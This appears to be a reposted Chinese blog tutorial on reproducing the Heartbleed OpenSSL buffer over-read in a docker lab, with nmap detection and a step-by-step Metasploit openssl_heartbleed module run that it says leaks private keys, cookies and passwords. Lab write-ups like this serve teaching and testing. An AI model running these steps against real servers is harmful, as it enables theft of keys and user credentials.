大家好,又见面了,我是你们的朋友全栈君。
0x00 漏洞介绍
是一个出现在加密程序库OpenSSL的安全漏洞,该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多
0x01 漏洞成因
由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露
0x02 影响范围
OpenSSL1.0.1版本
0x03 环境搭建
使用docker一键搭建环境
代码语言:javascript复制docker-compose build
docker-compose up -d
docker-compose ps
环境搭建完成后,访问http://192.168.220.134,测试环境是否搭建成功 http://192.168.220.134/
0x04 漏洞复现
使用nmap检测“心脏出血”漏洞是否存在,指定端口号为443
nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.220.134
使用msf对漏洞进行利用,查找heartbleed
模块
msf5 > search heartbleed
使用第一个选项,设置主机IP地址、端口号,设置verbose
为true
以便于显示泄露的信息
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.220.134
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPOST 443
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit
漏洞利用成功后可以抓取到信息,包括服务器的私钥、用户的cookie、密码等
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/160530.html原文链接:https://javaforall.cn